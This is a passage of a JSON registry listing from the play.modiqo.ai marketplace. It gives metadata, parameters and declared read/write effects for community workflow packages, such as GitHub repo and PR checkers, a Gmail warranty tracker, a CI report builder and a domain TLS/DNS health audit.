Office\"}]'"},{"name":"tasks_input","type":"string","required":false,"description":"JSON array of Google Tasks e.g. '[{\"id\":\"task:301\",\"title\":\"Finalize Q3 Budget\",\"due_date\":\"2026-09-04\",\"est_hours\":2.0}]'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8269b2cd3fd77a4ef9e08622e8aa68b6d80d52346513da281b958152d0357f63","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"echo","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/repo-health-snapshot@0.0.1","reference":"aaryanp/repo-health-snapshot@0.0.1","uri":"https://play.modiqo.ai/aaryanp/repo-health-snapshot@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/repo-health-snapshot@0.0.1","name":"repo-health-snapshot","title":"repo-health-snapshot","description":"Top committers plus issues opened in the last N days for a GitHub repository, combined into one snapshot","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","domain-engineering","tool-github","effect-read-only","github"],"primary_domain":"domain-engineering","author":"aaryanp","version":"0.0.1","published_at":"2026-09-02T18:21:47.611194+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3304,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":3,"names":["auth_github","contributors","fetch_issues"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"days","type":"integer","required":false,"default":"7","description":"Only include issues opened within this many days"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3912cccb31cc6140f8e23c1ad734ff9b5619b2049066e40e2e5070a8d88fc714","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[{"adapter":"github","steps":3,"methods":["repos/list-contributors","search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/harshitborana75/return-warranty-guardian@0.0.1","reference":"harshitborana75/return-warranty-guardian@0.0.1","uri":"https://play.modiqo.ai/harshitborana75/return-warranty-guardian@0.0.1","manifest_uri":"https://play.modiqo.ai/harshitborana75/return-warranty-guardian@0.0.1","name":"return-warranty-guardian","title":"return-warranty-guardian","description":"Scan Gmail receipts and order confirmations to extract structured purchase records and produce return-window and warranty countdown reports with zero email mutations.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","gmail","receipts","returns","warranty","shopping"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.1","published_at":"2026-09-02T18:05:40.658425+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4588,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["calc_init"]},"parameters":[{"name":"lookback_months","type":"string","required":false,"default":"12","description":"Search lookback window in months (default: 12)"},{"name":"user_membership_tier","type":"string","required":false,"default":"standard","description":"Retailer membership tier for extended return policies (e.g. 'standard', 'totaltech', 'prime')"},{"name":"purchases","type":"string","required":false,"description":"JSON array of purchase receipts e.g. '[{\"retailer\":\"Amazon\",\"item\":\"Wireless Noise Cancelling Headphones\",\"date\":\"2026-08-28\",\"price\":\"$299.99\",\"order\":\"114-8839210\"}]'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fac74493ed8381d9095f673441f67855e4e3601e9c8341fd74df953340c94dfd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"echo","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/hire-candidate-with-evidence@0.0.3","reference":"harshitborana75/hire-candidate-with-evidence@0.0.3","uri":"https://play.modiqo.ai/harshitborana75/hire-candidate-with-evidence@0.0.3","manifest_uri":"https://play.modiqo.ai/harshitborana75/hire-candidate-with-evidence@0.0.3","name":"hire-candidate-with-evidence","title":"hire-candidate-with-evidence","description":"Build a public-GitHub-REST-API candidate evidence report for hiring evaluation across any target role or technology stack.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","github","hiring","recruitment","evidence"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.3","published_at":"2026-09-02T17:36:19.969412+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5860,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":6,"names":["auth_github","get_user_orgs","get_user_repos","get_external_prs","get_user_profile","get_public_events"]},"parameters":[{"name":"username","type":"string","required":true,"description":"GitHub username to evaluate"},{"name":"target_role","type":"string","required":false,"default":"general_software_engineer","description":"Target role or tech stack to weight relevance toward (e.g. devops_engineer, frontend, backend, fullstack, python, data_engineer)"}],"execution":{"adapters":[{"id":"harshitborana75/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2673292b9bf853a87f41b53a7e74a21c680eae9fcd09448477f8cbb5e5a13e14","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":5,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[{"adapter":"github","steps":6,"methods":["activity/list-public-events-for-user","orgs/list-for-user","repos/list-for-user","search/issues-and-pull-requests","users/get-by-username"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1100,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"harshitborana75/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1100},"cost":{"api_tokens":410174,"context_tokens":42102,"exploration_ms":25244,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/chiru/oss-issue-claim-gate@0.3.1","reference":"chiru/oss-issue-claim-gate@0.3.1","uri":"https://play.modiqo.ai/chiru/oss-issue-claim-gate@0.3.1","manifest_uri":"https://play.modiqo.ai/chiru/oss-issue-claim-gate@0.3.1","name":"oss-issue-claim-gate","title":"oss-issue-claim-gate","description":"Before you write a line of code against an open-source issue, find out whether it is already someone else's. Reads the issue, every comment, and the cross-referenced pull requests, and returns one of three answers - CLEAR, TAKEN, or UNKNOWN. Claim detection covers the polite forms people actually use - asking whether anyone is on it and then starting, offering to take it, saying a fix is ready - not just the direct ones. Five ways an issue is taken and it checks all five - an assignee who is not you, a label the repository uses to reserve work, a comment from someone else claiming it, an open pull request from another author, and an issue that is not open. UNKNOWN is a real third state - a signal it could not read never collapses into CLEAR, because a false CLEAR costs your standing in a repository and a false TAKEN costs one issue. Public repositories need no credentials at all - the read path is unauthenticated. GITHUB_TOKEN is optional, raises the rate limit, and is the only way the claim comment gets posted. Writes nothing unless you pass post_claim, the verdict is CLEAR, and you have not already commented - and when it does write, it returns the comment id so you can undo it. Runs on python3 alone.","owner":{"kind":"user","slug":"chiru"},"registry_organization":"chiru","tags":["domain-open-source","job-issue-claim-check","audience-contributors","effect-optional-write"],"primary_domain":"domain-open-source","author":"chiru","version":"0.3.1","published_at":"2026-09-02T11:57:13.792594+00:00","visibility":"public","quality_score":1,"size_bytes":15961,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":5,"names":["claim","resolve","verdict","comments","crossrefs"]},"parameters":[{"name":"issue_ref","type":"string","required":false,"default":"Open-Source-Kigali/docksight#173","description":"The issue to check. Accepts owner/repo#123, a full github.com issue or pull request URL, or owner/repo/issues/123. The default is a real open issue that two different people have claimed and one has already opened a pull request for, so the first run shows a TAKEN verdict with every detector firing rather than an empty result.","example":"pandas-dev/pandas#61000"},{"name":"post_claim","type":"string","required":false,"default":"false","description":"Post a comment claiming the issue. Off by default. Even when on, the comment is written only if the verdict is CLEAR, you have not already commented on the thread, and a GITHUB_TOKEN is present. Every refusal is reported with its reason and the comment id of any write is returned so it can be deleted.","values":["true","false"],"example":"true"},{"name":"claim_body","type":"string","required":false,"default":"I'd like to take this if it's still open.","description":"The text of the claim comment. Only used when post_claim is true and the verdict is CLEAR.","example":"I'd like to take this if it's still open."},{"name":"reservation_labels","type":"string","required":false,"default":"","description":"Comma-separated labels this repository uses to reserve work, replacing the built-in list. Leave empty to use the defaults, which cover assigned, in progress, claimed, taken, wip, has-pr and their common spellings. Set it when a repository reserves work with a label of its own.","example":"needs-owner,reserved"},{"name":"treat_bots_as_people","type":"string","required":false,"default":"false","description":"Count comments and pull requests from bot accounts as claims. Off by default, because a bot linking a pull request is not a person taking the work.","values":["true","false"],"example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f1fcb3776c846b40c8765986b39a7c338dd0668e0c056c64bad7d0f7f62ca39c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":["[object Object]"],"inferred":[],"tagged":false},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aryan877/shipproof@0.1.0","reference":"aryan877/shipproof@0.1.0","uri":"https://play.modiqo.ai/aryan877/shipproof@0.1.0","manifest_uri":"https://play.modiqo.ai/aryan877/shipproof@0.1.0","name":"shipproof","title":"shipproof","description":"Proves that an exact GitHub commit passed CI, matches the commit fingerprint exposed by a deployment, and is visibly live on the public page.","owner":{"kind":"user","slug":"aryan877"},"registry_organization":"aryan877","tags":["github","ci","deployment","release","verification","typescript"],"primary_domain":"domain-uncategorized","author":"aryan877","version":"0.1.0","published_at":"2026-09-02T07:01:30.310093+00:00","visibility":"public","quality_score":0.875,"size_bytes":6453,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["read_ci_checks","resolve_commit","read_visible_page","read_deployment_version"]},"parameters":[{"name":"repository","type":"string","required":true,"description":"GitHub repository as owner/repo"},{"name":"ref","type":"string","required":true,"description":"Git commit SHA, branch, or tag to prove"},{"name":"deployment_url","type":"string","required":true,"description":"Public deployment base URL"},{"name":"expected_marker","type":"string","required":true,"description":"Text that must be present in the public page HTML"},{"name":"version_path","type":"string","required":false,"default":"/version.json","description":"Path exposing deployment commit metadata"},{"name":"version_field","type":"string","required":false,"default":"commit","description":"Dot-separated JSON field containing the deployed commit SHA"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:800096042d7e327cd41644d7fc3bbaa947db8c642bfa5ffe5ac16f2f756abcc1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":3},{"name":"gh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/jvxplaymaker/playbench@0.2.0","reference":"jvxplaymaker/playbench@0.2.0","uri":"https://play.modiqo.ai/jvxplaymaker/playbench@0.2.0","manifest_uri":"https://play.modiqo.ai/jvxplaymaker/playbench@0.2.0","name":"playbench","title":"playbench","description":"Benchmarks the same task with and without a pinned Rote Play using isolated workspaces, harness token telemetry, blind quality evaluation, and deterministic comparison gates.","owner":{"kind":"user","slug":"jvxplaymaker"},"registry_organization":"jvxplaymaker","tags":["benchmarking","token-efficiency","play-evaluation","typescript"],"primary_domain":"domain-uncategorized","author":"jvxplaymaker","version":"0.2.0","published_at":"2026-09-02T05:39:59.540297+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":16267,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["run_benchmark"]},"parameters":[{"name":"task","type":"string","required":true,"description":"The exact task both benchmark arms must complete"},{"name":"play","type":"string","required":true,"description":"Exact pinned registry Play reference or absolute local main.ts path"},{"name":"root","type":"string","required":true,"description":"Workspace directory copied into isolated benchmark environments"},{"name":"play_args","type":"string","required":false,"default":"{}","description":"JSON object of parameters for the target Play"},{"name":"runner","type":"string","required":false,"default":"auto","description":"Harness collector to use; auto, codex, or custom"},{"name":"runner_command","type":"string","required":false,"default":"","description":"JSON argv array for a custom playbench/runner-event-v1 implementation"},{"name":"trials","type":"integer","required":false,"default":3,"description":"Number of measured paired trials after validation"},{"name":"model","type":"string","required":false,"default":"","description":"Optional model override passed to the selected runner"},{"name":"timeout_seconds","type":"integer","required":false,"default":900,"description":"Maximum duration for each harness or evaluator run"},{"name":"quality_tolerance","type":"string","required":false,"default":"5","description":"Allowed reduction in blind quality-score points"},{"name":"min_savings_percent","type":"string","required":false,"default":"5","description":"Minimum token difference considered material"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8cca40de5f4e7f3f72f08851402632d3dd5034ba392ba4779876ae716dd6f150","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harshitborana75/github-pr-merge-readiness@0.0.1","reference":"harshitborana75/github-pr-merge-readiness@0.0.1","uri":"https://play.modiqo.ai/harshitborana75/github-pr-merge-readiness@0.0.1","manifest_uri":"https://play.modiqo.ai/harshitborana75/github-pr-merge-readiness@0.0.1","name":"github-pr-merge-readiness","title":"github-pr-merge-readiness","description":"Assesses a GitHub pull request's CI, reviews, unresolved comments, mergeability, and changed-test coverage, then returns a READY or BLOCKED verdict.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","github","pull-request","merge-readiness"],"primary_domain":"domain-uncategorized","author":"Harshitborana75","version":"0.0.1","published_at":"2026-09-01T18:55:41.008025+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3651,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["checks","reviews","auth_github","pull_request","changed_files","commit_status","review_comments","requested_reviewers"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"pull_number","type":"string","required":true,"description":"Pull request number"}],"execution":{"adapters":[{"id":"harshitborana75/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ff5b30114d95fbfecfbe01342b21b1bc2f3138fe73c05f288c8ebf0cdb1b29d5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":7,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":8,"methods":["checks/list-for-ref","pulls/get","pulls/list-files","pulls/list-requested-reviewers","pulls/list-review-comments","pulls/list-reviews","repos/get-combined-status-for-ref"],"display_name":"github","host":"api.github.com","kind":"rest","tools":1100,"fingerprint":"mcp_uogxetWJ9s2mSDiBKftmvwkDfu","source":"harshitborana75/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1100},"cost":{"api_tokens":29188,"context_tokens":3300,"exploration_ms":7174,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/jvxplaymaker/playfit@1.0.0","reference":"jvxplaymaker/playfit@1.0.0","uri":"https://play.modiqo.ai/jvxplaymaker/playfit@1.0.0","manifest_uri":"https://play.modiqo.ai/jvxplaymaker/playfit@1.0.0","name":"playfit","title":"playfit","description":"Recommends a small set of Community Plays by matching the caller's project, harness-accessible tools and apps, recent tool-use signals, workflows, and interests against bounded registry searches and verified host readiness.","owner":{"kind":"user","slug":"jvxplaymaker"},"registry_organization":"jvxplaymaker","tags":["developer-productivity","play-discovery","rote-community","developer-tools"],"primary_domain":"domain-uncategorized","author":"jvxplaymaker","version":"1.0.0","published_at":"2026-09-01T15:39:20.866153+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17508,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["recommend_plays"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Project directory to inspect; pass root=. to use the current project"},{"name":"interests","type":"string","required":false,"default":"","description":"Comma-separated outcomes to prioritize, such as security, dependency management, or CI debugging"},{"name":"harness_context","type":"string","required":false,"default":"","description":"Optional harness-supplied JSON, for example {\"tools\":[{\"name\":\"slack\",\"kind\":\"app\",\"state\":\"available\",\"calls\":12}],\"usage\":{\"gmail\":4}}; never include credentials or tool arguments"},{"name":"search_limit","type":"integer","required":false,"default":10,"description":"Maximum results requested for each focused registry search"},{"name":"inspect_limit","type":"integer","required":false,"default":14,"description":"Maximum strongest candidates to inspect deeply"},{"name":"recommendations","type":"integer","required":false,"default":8,"description":"Maximum recommendations to return"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2575742fb7d0eb0e9fe5911b4e3d25d06425c33714e231ab7ba52c148145c1bd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/subhankar/domain-perimeter-health@0.1.0","reference":"subhankar/domain-perimeter-health@0.1.0","uri":"https://play.modiqo.ai/subhankar/domain-perimeter-health@0.1.0","manifest_uri":"https://play.modiqo.ai/subhankar/domain-perimeter-health@0.1.0","name":"domain-perimeter-health","title":"domain-perimeter-health","description":"Comprehensive DNS propagation, SSL/TLS certificate lifespan, HTTP security posture, and CDN edge diagnostic. Probes Cloudflare, Google, and Quad9 DoH in parallel, audits TLS cipher and certificate expiration, inspects HSTS/CSP headers, and generates a security grade with a stage ledger.","owner":{"kind":"user","slug":"subhankar"},"registry_organization":"subhankar","tags":["domain-security","job-perimeter-health","audience-developers","effect-read-only"],"primary_domain":"domain-security","author":"subhankar","version":"0.1.0","published_at":"2026-09-01T12:32:01.772601+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":7514,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":7,"names":["dns_quad9","dns_google","dns_cloudflare","validate_domain","synthesize_verdict","http_security_posture","tls_certificate_audit"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"modiqo.ai","description":"Target domain name to audit (e.g. example.com, modiqo.ai)","example":"modiqo.ai"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d26ec8d94c464d11c62910f9e7b71ef34bbbf10819aee75d509ea9ea224f732e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7},{"name":"cloudflare-dns.com","kind":"host","source":"inferred","count":1},{"name":"dns.google","kind":"host","source":"inferred","count":1},{"name":"dns.quad9.net","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/robpumpaf/github-nextest-ci-report@0.1.1","reference":"robpumpaf/github-nextest-ci-report@0.1.1","uri":"https://play.modiqo.ai/robpumpaf/github-nextest-ci-report@0.1.1","manifest_uri":"https://play.modiqo.ai/robpumpaf/github-nextest-ci-report@0.1.1","name":"github-nextest-ci-report","title":"github-nextest-ci-report","description":"Builds a self-contained interactive report from GitHub Actions nextest logs, with every test execution, sortable durations, name filters, clickable histogram bins, and CSV export.","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":["github","actions","nextest","ci","performance","histogram"],"primary_domain":"domain-uncategorized","author":"robpumpaf","version":"0.1.1","published_at":"2026-09-01T12:19:38.611651+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":11927,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["render_report","select_ci_run","resolve_pr_head","download_ci_logs"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"pull_number","type":"string","required":true,"description":"Pull request number"},{"name":"workflow_name","type":"string","required":false,"default":"CI","description":"Completed successful GitHub Actions workflow name"},{"name":"target_test","type":"string","required":false,"default":"","description":"Optional test-name substring to highlight and rank"},{"name":"output_dir","type":"string","required":false,"default":"nextest-ci-report","description":"Real writable directory for index.html, summary.json, and test-durations.csv; do not pass an example placeholder"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2b5ca56c8d95b0643922bc66958e9c3c066588fdcb0c5891f4d8e539312284f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"gh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/humidyfier/github-pr-review@0.1.0","reference":"humidyfier/github-pr-review@0.1.0","uri":"https://play.modiqo.ai/humidyfier/github-pr-review@0.1.0","manifest_uri":"https://play.modiqo.ai/humidyfier/github-pr-review@0.1.0","name":"github-pr-review","title":"github-pr-review","description":"Interactive GitHub pull-request reviewer: a terminal menu (node:readline/promises) to view your own open PRs (approvals + CI check status) or triage incoming review-requested PRs (fetch diff, summarize, then approve or close). Legacy escape: the interactive menu and per-PR approve/close loop need PTY runtime interaction that the steps runner cannot express (its children receive closed stdin).","owner":{"kind":"org","slug":"humidyfier"},"registry_organization":"humidyfier","tags":["typescript","github","pull-requests","code-review","interactive","github-review"],"primary_domain":"domain-uncategorized","author":"Benhasteen","version":"0.1.0","published_at":"2026-09-01T11:07:21.598603+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":8456,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[{"id":"humidyfier/github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:20b2f7a1c478bcba7d4d44733d3cca300eba58165ac269ec67870a6edbaa4392","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/gitanshulbisht/token-audit@1.0.0","reference":"gitanshulbisht/token-audit@1.0.0","uri":"https://play.modiqo.ai/gitanshulbisht/token-audit@1.0.0","manifest_uri":"https://play.modiqo.ai/gitanshulbisht/token-audit@1.0.0","name":"token-audit","title":"token-audit","description":"AI Prompt & Token Budget Auditor Play: Audits token counts, prompt bloat, and API costs.","owner":{"kind":"user","slug":"gitanshulbisht"},"registry_organization":"gitanshulbisht","tags":[],"primary_domain":"domain-uncategorized","author":"gitanshulbisht","version":"1.0.0","published_at":"2026-09-01T09:16:27.990894+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":1308,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":1,"names":["audit_tokens"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6de67ccefbf146ac16b7244e1fdd31ef975542b05461556ac20981895bdf125f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/elijahumana/why-cant-this-pr-merge@0.1.0","reference":"elijahumana/why-cant-this-pr-merge@0.1.0","uri":"https://play.modiqo.ai/elijahumana/why-cant-this-pr-merge@0.1.0","manifest_uri":"https://play.modiqo.ai/elijahumana/why-cant-this-pr-merge@0.1.0","name":"why-cant-this-pr-merge","title":"why-cant-this-pr-merge","description":"Explain exactly why one GitHub pull request cannot merge, who owns each blocker, and the next 